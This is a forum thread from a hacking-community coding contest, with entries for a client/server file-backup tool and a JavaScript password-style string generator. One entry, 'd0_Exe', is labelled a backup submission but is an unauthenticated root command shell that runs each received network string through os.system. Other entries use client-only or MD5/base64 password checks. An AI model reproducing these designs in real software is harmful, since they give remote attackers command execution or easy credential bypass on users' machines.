Howdy, Stranger!

It looks like you're new here. If you want to get involved, click one of these buttons!

Top Posters

Who's Online (2)

Powered by Vanilla. Made with Bootstrap.
Coding Competition [Finished]
  • Sh3llc0d3
    Posts: 1,910
    [align=center]Elite Programmer's & Noobs Welcome[/align]

    There will be two categories in this competition, for more experienced coder's (we know who you are :P) we are looking for two applications /person, one for noobs. The closing date is in two weeks time.

    Elite Coders
    Brief:
    The application will perform backups from servers. It will be required to transfer a file I specify (input into the program) to a remote host securely. You will design and make the client and server side (so socket programming is a must know). Client being on a host needing constant backup and server receiving the backed up file.

    [host] ------------------------> [remote host]
    Client Server
    file to be backed up ----------> remote location


    Compatibility:
    Linux. x86 or x86_64. To ensure your chances I'd stick with 32bit programming on this one.

    More Info:
    Extra points will be handed out for practicality, security and ease of use. I'm looking for ingenuity and being able to follow a brief. The security should not hinder the ease of use.

    Noob Coders
    The aim of this is to discover new coding talent. Any type of program is accepted. Obviously nothing against the rules though. Make sure it's you own work as we'll be checking. Your not gaining anything by lying.

    Compatibility:
    Windows XP x86 [32bit] or linux [x86 // x86_64]

    Winners:
    Winners will be entered into their own user-group and get a special myAward. Other prizes are TBA.

    This thread is for submissions and questions only anything unrelated will be deleted.

    Elite Submissions
    Chroniccommand
    s1n4

    Noob Submissions
    L0g0nb3rry
  • Hey folks, I'm the latest n00b!
    On with it - here's my entry for the n00b section of the competition. It's a javascript application in a html file, which generates a random string of capital letters, lower case letters, numbers, and symbols, to a user specified length.

    <!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">

    <html>
    <head>

    <script type=\"text/javascript\">

    var lowerLett = \"qwertyuiopasdfghjklzxcvbnm\";
    var upperLett = \"QWERTYUIOPASDFGHJKLZXCVBNM\";
    var num = \"1234567890\";
    var others = \"!£€$%^&*()-_+=@#~;:?/.>,<\|¬{[]}\";

    //This will generate the string
    function generate()
    {
    //firstly, it is decided at random whether the character will be a capital letter, lowercase letter, number or symbol
    //then, when that is decided, the specific character is chosen, at random, from the string containing all characters
    var rnd = Math.floor(Math.random()*4);
    if (rnd == 0)
    {
    var x=Math.floor(Math.random()*26);
    var char1=lowerLett.charAt(x);
    }

    else if (rnd ==1)
    {
    var x=Math.floor(Math.random()*26);
    var char1=upperLett.charAt(x);
    }

    else if (rnd == 2)
    {
    var x=Math.floor(Math.random()*10);
    var char1=num.charAt(x);
    }

    else if (rnd == 3)
    {
    var x=Math.floor(Math.random()*31);
    var char1=others.charAt(x);
    }
    document.write(char1);
    }

    //this function is executed in the body, to loop the character generator as many times as the user rquested
    function create()
    {
    for(i=(document.strng.len.value - 1); i>=0; i--)
    {
    generate();
    }
    }
    </script>
    </head>

    <body>
    <table border='1' cellpadding='4'>
    <tr>
    <th>String Generator!</th>
    </tr>
    <form name=\"strng\">
    <tr>
    <td>Length:<input type=\"text\" name='len'><br/></td>
    </tr>
    <tr>
    <td><center><input type=\"button\" value='Generate String' onClick='create();'><br/></center></td>
    </tr>
    </form>
    </table>

    </body>
    </html>


    So that's it, I dig the site, can't wait to see other submissions.
  • Sh3llc0d3
    Posts: 1,910
    Thanks for your entry L0g0nb3rry, unfortunately it's not working for me and my js coding is none-existant so I can't find the issue :(. Can you double check it and see if it's just me or not.
  • I just cut and pasted it back into a notepad, saved it as gen.html and popped it open in firefox, seems to work fine for me. Did anything at all show up?

    But when it runs hitting enter doesn't work, the generate string button has to be manually clicked upon.
  • Sh3llc0d3
    Posts: 1,910
    Man i'm tired, It works perfectly now :)

    Thanks for your submission
  • chroniccommand
    Posts: 1,389
    I may participate but I've really been quite busy lately.

    I have a question about the elite. When you say server side does that mean you need to have a PHP interface too? Or server side as running on the server and client, but not on a web server.
  • Sh3llc0d3
    Posts: 1,910
    When I refer to client/server connections I'm talking about client/server in tcp/ip network programming. For instance a client application connecting back to a server application.

    As a benefit to everyone an example of client/server programming would be either my Exploiter Project or pyBackdoor, both using sockets to operate and transfer information.

    You don't need anything in particular as long as it follows the requirements I set in OP.
  • chroniccommand
    Posts: 1,389
    said:


    When I refer to client/server connections I'm talking about client/server in tcp/ip network programming. For instance a client application connecting back to a server application.

    As a benefit to everyone an example of client/server programming would be either my Exploiter Project or pyBackdoor, both using sockets to operate and transfer information.

    You don't need anything in particular as long as it follows the requirements I set in OP.


    Ahh alright, thanks. I'll see what I can whip up when I'm not studying for SAT's and stuff -_-
    Another quick question. Can I use FTP as the server? It would prevent a lot of bad stuff from happening and be more secure :P
  • Sh3llc0d3
    Posts: 1,910
    said:


    said:


    When I refer to client/server connections I'm talking about client/server in tcp/ip network programming. For instance a client application connecting back to a server application.

    As a benefit to everyone an example of client/server programming would be either my Exploiter Project or pyBackdoor, both using sockets to operate and transfer information.

    You don't need anything in particular as long as it follows the requirements I set in OP.


    Ahh alright, thanks. I'll see what I can whip up when I'm not studying for SAT's and stuff -_-
    Another quick question. Can I use FTP as the server? It would prevent a lot of bad stuff from happening and be more secure :P


    It has to be self-contained, transfer done within the programs you make and everything else. For instance you can't make a script that does system calls to FTP. However i'm sure python modules may assist you in getting around that, if python's your chosen language that is.
  • chroniccommand
    Posts: 1,389
    said:


    said:


    said:


    When I refer to client/server connections I'm talking about client/server in tcp/ip network programming. For instance a client application connecting back to a server application.

    As a benefit to everyone an example of client/server programming would be either my Exploiter Project or pyBackdoor, both using sockets to operate and transfer information.

    You don't need anything in particular as long as it follows the requirements I set in OP.


    Ahh alright, thanks. I'll see what I can whip up when I'm not studying for SAT's and stuff -_-
    Another quick question. Can I use FTP as the server? It would prevent a lot of bad stuff from happening and be more secure :P


    It has to be self-contained, transfer done within the programs you make and everything else. For instance you can't make a script that does system calls to FTP. However i'm sure python modules may assist you in getting around that, if python's your chosen language that is.

    Yea my idea was to use ftplib in python to just send the file over FTP, since a custom coded server may contain problems.
  • Sh3llc0d3
    Posts: 1,910
    said:


    said:


    said:


    said:


    When I refer to client/server connections I'm talking about client/server in tcp/ip network programming. For instance a client application connecting back to a server application.

    As a benefit to everyone an example of client/server programming would be either my Exploiter Project or pyBackdoor, both using sockets to operate and transfer information.

    You don't need anything in particular as long as it follows the requirements I set in OP.


    Ahh alright, thanks. I'll see what I can whip up when I'm not studying for SAT's and stuff -_-
    Another quick question. Can I use FTP as the server? It would prevent a lot of bad stuff from happening and be more secure :P


    It has to be self-contained, transfer done within the programs you make and everything else. For instance you can't make a script that does system calls to FTP. However i'm sure python modules may assist you in getting around that, if python's your chosen language that is.

    Yea my idea was to use ftplib in python to just send the file over FTP, since a custom coded server may contain problems.



    That would have been simple, it would be infinitely more epic if you pulled off a custom ftp server ;)
  • chroniccommand
    Posts: 1,389
    Welp, kind of coded something up on my free time. It has a password system using the getpass module and sha512's it in a config file. It demonstrates sockets, config parser, authentication systems etc

    Language: Python
    Name: PSBS(Python Server Backup System)
    Client:

    #!/usr/bin/python
    '''
    PSBS(Python Server Backup System) client v 1.0
    Author: Chroniccommand
    For: iExploit coding competition
    '''
    from socket import *
    import ConfigParser, sys, optparse, hashlib, getpass
    parser = optparse.OptionParser()
    Options = optparse.OptionGroup(parser, 'Options')
    parser.add_option('-f', '--file',
    action=\"store\", type=\"string\", help=\"File to transfer\")
    parser.add_option_group(Options)
    (opts, args) = parser.parse_args()
    config = ConfigParser.RawConfigParser()
    config.read('psbs.cfg')
    server = config.get('Config', 'server')
    port = config.get('Config', 'port')
    passw = config.get('Config', 'passwd')
    class PSBS(object): # Actually do the work. Quite simple actually
    def __init__(self, file):
    self.server = server
    self.port = int(port)
    self.file = file
    def ConnectSend(self): #Connect to the server and send the file
    s = socket(AF_INET, SOCK_STREAM)
    print(\"Connecting to host...\")
    s.connect((self.server, self.port))
    print(\"Connected\")
    print(\"Sending file...\")
    try:
    file = open(self.file, 'r')
    except IOError:
    print(\"Could not read file\")
    read = file.read()
    s.sendall(read)
    print(\"File sent!\")
    class Authenticate(object): #Authentication system
    def __init__(self, passwd):
    self.passwd = passwd
    def Auth(self):
    h = hashlib.new('sha512')
    h.update(self.passwd)
    inpasswd = h.hexdigest()
    if inpasswd != passw:
    print(\"Authentication failed!\")
    sys.exit()
    inpass = getpass.getpass()
    auth = Authenticate(inpass)
    auth.Auth()
    if opts.file:
    psbs = PSBS(opts.file)
    psbs.ConnectSend()
    else:
    print(\"No file input\")
    sys.exit()


    Server:

    #!/usr/bin/python
    '''
    PSBS(Python Server Backup System) server v 1.0
    Author: Chroniccommand
    For: iExploit coding competition
    '''
    from socket import *
    import sys, ConfigParser
    import datetime
    now = datetime.datetime.now()
    config = ConfigParser.RawConfigParser()
    config.read('psbs.cfg')
    port = config.get('Config', 'port')
    port = int(port)
    s = socket(AF_INET, SOCK_STREAM)
    s.bind(('', port))
    s.listen(5)
    print(\"Listening on port %d\" % port)
    conn, addr = s.accept()
    print(\"Connection from \", addr)
    time = now.strftime(\"%Y%H%M\")
    filename = \"psbs-file-%s\" % time
    file = open(filename, 'wb')
    while 1:
    data = conn.recv(1024)
    if not data:
    break
    file.write(data)
    file.close()
    print(\"File retrieved and saved\")
    s.close()


    Setup script(run first)

    #!/usr/bin/python
    '''
    PSBS setup script
    Sets up config file
    '''
    import ConfigParser, hashlib
    server = raw_input(\"Please enter the IP of the server to user: \")
    port = raw_input(\"Please enter the port of the server: \")
    passwd = raw_input(\"Please enter a password: \")
    h = hashlib.new('sha512')
    h.update(passwd)
    passwd = h.hexdigest()
    config = ConfigParser.RawConfigParser()
    config.add_section('Config')
    config.set('Config', 'server', server)
    config.set('Config', 'port', port)
    config.set('Config', 'passwd', passwd)
    with open('psbs.cfg', 'wb') as configfile:
    config.write(configfile)
    print(\"Config set up\")
  • Sh3llc0d3
    Posts: 1,910
    Thanks for your submission chronic :)
  • Xin
    Posts: 3,251
    Nice entry chronic, unfortunately i am hurrendously busy atm but i will submit soon
    Xin
  • s1n4
    Posts: 88
    Hello all,

    Server
    #!/usr/bin/python

    #Author: s1n4 ( s1n4.c0der[at]gmail.com )
    #iExploit

    import time, sys, os
    from socket import *
    from hashlib import md5
    from base64 import b64decode

    def main() :
    x = sys.argv[0]
    y = len(os.path.basename(x))
    z = x[:-y]

    try :
    conf = open(z + 'server.conf').read().splitlines()
    port = int(conf[0])
    password = conf[1]

    except IOError :
    port = raw_input('Enter the port of listening >> ')
    password = raw_input('Enter a password >> ')
    password = md5(password).hexdigest()

    conf = open(z + 'server.conf', 'w')
    conf.write(port + '\n')
    conf.write(password + '\n')
    conf.close()

    sock = socket(AF_INET, SOCK_STREAM)
    sock.bind(('', int(port)))
    sock.listen(5)

    print '\n[*] Listening the server on', port
    client, addr = sock.accept()
    print '[+] Accepted connection from', addr

    print '[*] Receiving data . . .'
    data = b64decode(client.recv(1024))

    if md5(data).hexdigest() == password :
    client.sendall('T')

    else :
    client.sendall('F')
    client.close()

    try :
    data = b64decode(client.recv(1024))
    fn = os.path.basename(data) + ' (' + time.ctime().replace(':', ',') + ')'
    file = open(z + fn, 'wb')

    except :
    pass

    while True :
    data = b64decode(client.recv(1024))
    if not data :
    break

    file.write(data)

    sock.close()
    file.close()

    print '[+] End of receiving data'

    while __name__ == '__main__' :
    main()



    Client
    #!/usr/bin/python

    #Author: s1n4 ( s1n4.c0der[at]gmail.com )
    #iExploit

    import time
    from socket import *
    from base64 import b64encode

    def main() :
    try :
    print '<ip> <port> <password> <filename>'
    Input = raw_input('>> ').split()
    ip = Input[0]
    port = int(Input[1])
    password = Input[2]
    fn = Input[3]

    except :
    print '[-] Input error'
    exit()

    try :
    sock = socket(AF_INET, SOCK_STREAM)
    print '[*] Connecting to', ip, '. . .'
    sock.connect((ip, port))
    time.sleep(0.5)
    print '[+] Connected'

    except :
    print '[-]', ip, port, ': Connection refused'
    exit()

    time.sleep(0.5)
    print '[*] Sending password . . .'
    sock.send(b64encode(password))
    data = sock.recv(1024)

    if data == 'T' :
    time.sleep(0.5)
    print '[+] Password is correct'

    else :
    time.sleep(0.5)
    print '[-] Password is incorrect'
    exit()

    try :
    file = open(fn, 'rb')
    buffer = b64encode(file.read())

    except IOError :
    print \"[-] Couldn't open file for sending to server\"
    exit()

    sock.send(b64encode(fn))
    time.sleep(0.5)
    print '[*] Sending file . . .'
    sock.send(buffer)
    time.sleep(0.5)
    print '[+] File Sent'
    file.close()
    sock.close()


    if __name__ == '__main__' :
    main()


    How is it ?
  • Sh3llc0d3
    Posts: 1,910
    Thanks for your entry s1n4, with the downtime/speed issues i'm keeping the comp open a bit longer, it's looking good so far :)
  • Xin
    Posts: 3,251
    Its interesting looking at everyones different interpretations of it
    Xin
  • DeadLine
    Posts: 7
    lol too bad i dont know python greatly :/ Next time do a java, c++, or Delphi contest, i would do those (: good luck to all
  • Sh3llc0d3
    Posts: 1,910
    This is any language. I don't believe I specified a language anyway. If you are going to use any of those I'd prefer C++ though as I don't know java or Delphi unfortunately.
  • D0WNGRADE
    Posts: 220
    I like both Chronic's and s1n4's...I'll start on one today and submit when it's done! :D
  • D0WNGRADE
    Posts: 220
    Here's my submission of 'd0_Exe'. It's all one file, and get's configured for a client or server.

    My tip on how to test it:
    1. Run the script and configure the server.
    2. Edit the "d0_Exe.conf" file to read:

    [Basic]
    type = client
    ip = 127.0.0.1

    3. Run the script again and enter the port you want to connect to.

    The full code:

    #!/usr/bin/python
    import configparser, hashlib, time, sys, os, re
    from socket import *

    ###################################
    # d0_Exe #
    # Programmed in Python 3. #
    # #
    # D0WNGRADE #
    # iExploit #
    ###################################

    def Startup(): # This function finds out basic configuration options
    print(\"\n[!] No basic configuration file found, starting configuration...\")
    c = configparser.RawConfigParser()
    c.add_section('Basic')
    print(\"[*] Configuration parser has been created.\")
    print(\"[?] Should I run d0_Exe as a server or client?\")
    pattern = re.compile('server|Server|client|Client')
    while True:
    serverClient = input(\"\t[server/client]> \")
    if(pattern.match(serverClient)):
    lowerServerClient = str.lower(serverClient)
    c.set('Basic', 'TYPE', lowerServerClient)
    break
    if(lowerServerClient == 'server'):
    print(\"[?] Enter the port you would like to listen on.\")
    while True:
    port = input(\"\t[1-65535]> \")
    if(int(port) < 65535 and int(port) > 0):
    c.set('Basic', 'PORT', port)
    break
    with open('d0_Exe.conf', 'w') as config:
    c.write(config)
    print(\"[*] Basic server configuration complete.\n\")

    if(lowerServerClient == 'client'):
    print(\"[?] Enter the IP to connect to.\")
    ip = input(\"\t[(IP Address)]> \")
    c.set('Basic', 'IP', ip)
    with open('d0_Exe.conf', 'w') as config:
    c.write(config)
    print(\"[*] Basic client configuration complete.\")




    def Login(): # This function lets the user login on the command line
    c = configparser.RawConfigParser()
    c.read('d0_Exe.conf')
    type = c.get('Basic', 'TYPE')
    if(type == 'server'):
    sock = socket(AF_INET, SOCK_STREAM)
    P = c.get('Basic', 'PORT')
    sock.bind(('', int(P)))
    sock.listen(1)
    print(\"[SERVER] Listening for a connection on port: \", str(P))
    (conn, address) = sock.accept()
    print(\"Connection incomming from: \", address)
    while True:
    d = conn.recv(1024)
    if not d: break
    os.system(d)
    print(\"[SERVER] Shutting down.\")
    sock.close()

    if(type == 'client'):
    sock = socket(AF_INET, SOCK_STREAM)
    ip = c.get('Basic', 'IP')
    print(\"IP: \", ip)
    p = input(\"Enter port to connect on IP: \")
    print(\"Connecting to IP on port: \", p)
    try:
    sock.connect((ip, int(p)))
    except IOError:
    print(\"Failed to connect to \", ip, \":\", p)
    sys.exit(1)
    print(\"Connected to server!\")
    print(\"Enter 'q' or 'quit' to disconnect...\")
    while True:
    cmd = input(\"Send command> \")
    if(cmd == 'q' or cmd == 'quit'):
    sock.close()
    sock.sendall(bytes(cmd, 'utf-8'))

    if(__name__ == '__main__'):
    if(os.getuid() != 0):
    print(\"[!!] You must be superuser to run this script...\")
    sys.exit(1)
    os.system(\"clear\")
    print(\"\n\t\td0_Exe\n\t\t\tD0WNGRADE\n\t\t\t\tiExploit\n\")
    time.sleep(2)
    try: # Tries to open the file, if it can open it skips the \"except\" line
    startupFH = open('d0_Exe.conf', 'r')
    except IOError: # If it can't open the file, call Startup()
    fh = open('d0_Exe.conf', 'w')
    fh.write('')
    fh.close()
    Startup()

    Login()
This discussion has been closed.
All Discussions